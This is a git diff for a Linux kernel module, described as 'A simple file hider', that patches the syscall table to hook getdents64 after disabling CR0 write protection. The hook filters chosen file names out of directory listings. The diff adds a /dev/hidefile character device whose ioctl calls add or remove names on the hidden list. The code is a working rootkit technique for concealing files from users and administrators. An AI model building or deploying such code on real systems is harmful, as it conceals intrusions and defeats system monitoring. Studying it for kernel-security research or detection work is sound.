diff --git a/Makefile b/Makefile index 21b3f4e..8336f93 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,7 @@ # CONFIG_MODULE_SIG=n obj-m += idanm.o +idanm-objs := src/idanm.o src/driver.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules diff --git a/src/driver.c b/src/driver.c new file mode 100644 index 0000000..8c4ffa1 --- /dev/null +++ b/src/driver.c @@ -0,0 +1,145 @@ +#include /* printk */ +#include /* strncpy_from_user, strnlen_user */ +#include /* kmalloc, kfree */ +#include "driver.h" /* HIDEFILE_MAJOR, MAX_HIDEFILE_MINOR, hidefile_operation, hidefile_device_data */ +#include "idanm.h" /* add_file_to_hide, remove_file_from_list, MAX_DIRENT_NAME_LEN */ + +/* Global variables */ +struct hidefile_device_data *device = NULL; +static struct class *hidefile_class = NULL; + +static int hidefile_open(struct inode *inode, struct file *file) +{ + return 0; +} + +static ssize_t hidefile_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) +{ + return 0; +} + +static ssize_t hidefile_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) +{ + return 0; +} + +static int hidefile_release(struct inode *inode, struct file *file) +{ + file->private_data = NULL; + return 0; +} + +static long hidefile_ioctl(struct file *file, unsigned int cmd, unsigned long arg) +{ + struct hidefile_device_data *d_data; + char *filename; + + pr_info("Idan's module got ioctl command"); + + d_data = (struct hidefile_device_data *)file->private_data; + switch (cmd) + { + case HIDEFILE_OP_ADD: + filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL); + if (!filename) + { + pr_err("Idan's module failed to allocate filename"); + return -ENOMEM; + } + if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) <= 0) + { + pr_err("Idan's module failed to copy from user"); + kfree(filename); + return -EFAULT; + } + add_file_to_hide(filename); + break; + case HIDEFILE_OP_REMOVE: + filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL); + if (!filename) + { + pr_err("Idan's module failed to allocate filename"); + return -ENOMEM; + } + if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) <= 0) + { + pr_err("Idan's module failed to copy from user"); + kfree(filename); + return -EFAULT; + } + remove_file_from_list(filename); + break; + default: + return -EINVAL; + } + + return 0; +} + +const struct file_operations hidefile_ops = { + .owner = THIS_MODULE, + .open = hidefile_open, + .read = hidefile_read, + .write = hidefile_write, + .release = hidefile_release, + .unlocked_ioctl = hidefile_ioctl}; + +int init_driver(void) +{ + int err = 0; + void *device_ptr = NULL; + + err = register_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR, "hidefile_driver"); + + if (err < 0) + { + pr_err("Idan's module failed to register a major number"); + return err; + } + + device = kmalloc(sizeof(struct hidefile_device_data), GFP_KERNEL); + if (!device) + { + pr_err("Idan's module failed to allocate device data"); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + return -ENOMEM; + } + + cdev_init(&device->cdev, &hidefile_ops); + err = cdev_add(&device->cdev, MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + + if (err < 0) + { + pr_err("Idan's module failed to add a character device"); + kfree(device); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + return err; + } + + hidefile_class = class_create(THIS_MODULE, "hidefile_class"); + + device_ptr = device_create(hidefile_class, NULL, MKDEV(HIDEFILE_MAJOR, 0), NULL, "hidefile"); + if (IS_ERR(device_ptr)) + { + pr_err("Idan's module failed to create a device"); + class_unregister(hidefile_class); + class_destroy(hidefile_class); + cdev_del(&device->cdev); + kfree(device); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + return -ENOMEM; + } + + return 0; +} + +void cleanup_driver(void) +{ + device_destroy(hidefile_class, MKDEV(HIDEFILE_MAJOR, 0)); + class_unregister(hidefile_class); + class_destroy(hidefile_class); + cdev_del(&device->cdev); + + kfree(device); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); +} diff --git a/src/driver.h b/src/driver.h new file mode 100644 index 0000000..736bb3f --- /dev/null +++ b/src/driver.h @@ -0,0 +1,26 @@ +#ifndef __IDANM_DRIVER_H__ +#define __IDANM_DRIVER_H__ + +#include +#include + +#define HIDEFILE_MAJOR 42 +/* only one device */ +#define MAX_HIDEFILE_MINOR 1 + +enum hidefile_operation +{ + HIDEFILE_OP_ADD, + HIDEFILE_OP_REMOVE +}; + +struct hidefile_device_data +{ + struct cdev cdev; +}; + +/* Function prototypes */ +int init_driver(void); +void cleanup_driver(void); + +#endif /* __IDANM_DRIVER_H__ */ diff --git a/idanm.c b/src/idanm.c similarity index 69% rename from idanm.c rename to src/idanm.c index cff4903..96cc73e 100644 --- a/idanm.c +++ b/src/idanm.c @@ -8,13 +8,12 @@ #include /* copy_from_user, copy_to_user */ #include /* strcmp */ -/* Macros */ -#define FILE_TO_HIDE "hideme" -#define MAX_DIRENT_NAME_LEN 256 +#include "idanm.h" /* MAX_DIRENT_NAME_LEN, __force_order, orig_getdents64, sys_call_table_ptr, getdents64_t, getdents64_regs_t */ +#include "driver.h" /* init_driver, cleanup_driver */ /* Module information */ MODULE_LICENSE("GPL"); -MODULE_AUTHOR("Idan"); +MODULE_AUTHOR("Idan Carlebach "); MODULE_DESCRIPTION("A simple file hider."); MODULE_VERSION("0.01"); @@ -26,6 +25,7 @@ typedef asmlinkage int (*getdents64_regs_t)(const struct pt_regs *regs); /* Global variables */ extern unsigned long __force_order; static asmlinkage getdents64_t orig_getdents64; +struct linked_node *dir_list = NULL, *dir_list_tail = NULL; struct filtered_dirent { @@ -49,7 +49,82 @@ static inline void one_wp(void) write_forced_cr0(read_cr0() | X86_CR0_WP); } -static struct filtered_dirent filter_file_from_getdents(char __user *buffer, unsigned int bytes, const char *filter) // the bytes is the size of the buffer +void add_file_to_hide(const char *name) +{ + struct linked_node *node; + char *new_name; + + node = kmalloc(sizeof(struct linked_node), GFP_KERNEL); + if (!node) + { + pr_err("Idan's module failed to allocate memory for a new node"); + return; + } + new_name = kmalloc(strlen(name) + 1, GFP_KERNEL); // +1 for the null-terminator + if (!new_name) + { + pr_err("Idan's module failed to allocate memory for a new name"); + kfree(node); + return; + } + + strcpy(new_name, name); + kfree(name); + node->name = new_name; + node->next = NULL; + + if (!dir_list) + { + dir_list = node; + } + else + { + dir_list_tail->next = node; + } + + dir_list_tail = node; + + return; +} + +void remove_file_from_list(const char *name) +{ + struct linked_node *node = dir_list, *prev = NULL; + while (!!node) + { + if (!strcmp(node->name, name)) + { + if (prev) + { + prev->next = node->next; + } + else + { + dir_list = node->next; + } + kfree(node->name); + kfree(node); + return; + } + prev = node; + node = node->next; + } + + return; +} + +static int is_file_in_list(const char *name) +{ + struct linked_node *node; + for (node = dir_list; node; node = node->next) + { + if (strcmp(node->name, name) == 0) + return 1; + } + return 0; +} + +static struct filtered_dirent filter_file_from_getdents(char __user *buffer, unsigned int bytes) // the bytes is the size of the buffer { char *kbuffer = (char *)kmalloc(bytes, GFP_KERNEL); char *filtered_buffer = (char *)kmalloc(bytes, GFP_KERNEL); @@ -91,7 +166,7 @@ static struct filtered_dirent filter_file_from_getdents(char __user *buffer, uns fid.buffer = NULL; return fid; } - if (strcmp(dp->d_name, filter) != 0) + if (!is_file_in_list(dp->d_name)) { memmove((filtered_buffer + fid.size), (char *)dp, dp->d_reclen); @@ -114,7 +189,7 @@ static asmlinkage int modified_getdents64(const struct pt_regs *regs) if (bytes <= 0) return bytes; // error or empty - fid = filter_file_from_getdents((char *)dirent, bytes, FILE_TO_HIDE); + fid = filter_file_from_getdents((char *)dirent, bytes); if (fid.buffer) { if (fid.size != 0 && copy_to_user(dirent, fid.buffer, fid.size) != 0) @@ -154,7 +229,14 @@ static int __init lkm_example_init(void) if (!sys_call_table) { pr_err("Idan's kernel module didn't find the sys call table"); - EXIT_CODE = 1; + EXIT_CODE = -EFAULT; + goto cleanup; + } + + EXIT_CODE = init_driver(); + if (EXIT_CODE != 0) + { + pr_err("Coudln't initialize the driver"); goto cleanup; } @@ -162,6 +244,7 @@ static int __init lkm_example_init(void) zero_wp(); sys_call_table[__NR_getdents64] = (sys_call_ptr_t)modified_getdents64; one_wp(); + pr_info("Idan's kernel successfully overridden the getdents64 function!!"); goto cleanup; @@ -185,9 +268,14 @@ static void __exit lkm_example_exit(void) return; } - zero_wp(); - sys_call_table[__NR_getdents64] = (sys_call_ptr_t)orig_getdents64; - one_wp(); + cleanup_driver(); + + if (orig_getdents64) + { + zero_wp(); + sys_call_table[__NR_getdents64] = (sys_call_ptr_t)orig_getdents64; + one_wp(); + } pr_info("Idan's kernel module successfully unloaded!"); } diff --git a/src/idanm.h b/src/idanm.h new file mode 100644 index 0000000..e5ccfd3 --- /dev/null +++ b/src/idanm.h @@ -0,0 +1,17 @@ +#ifndef __IDANM__IDANM_H__ +#define __IDANM__IDANM_H__ + +/* Macros */ +#define MAX_DIRENT_NAME_LEN 256 + +struct linked_node +{ + const char *name; + struct linked_node *next; +}; + +/* Function prototypes */ +void add_file_to_hide(const char *name); +void remove_file_from_list(const char *name); + +#endif /* __IDANM__IDANM_H__ */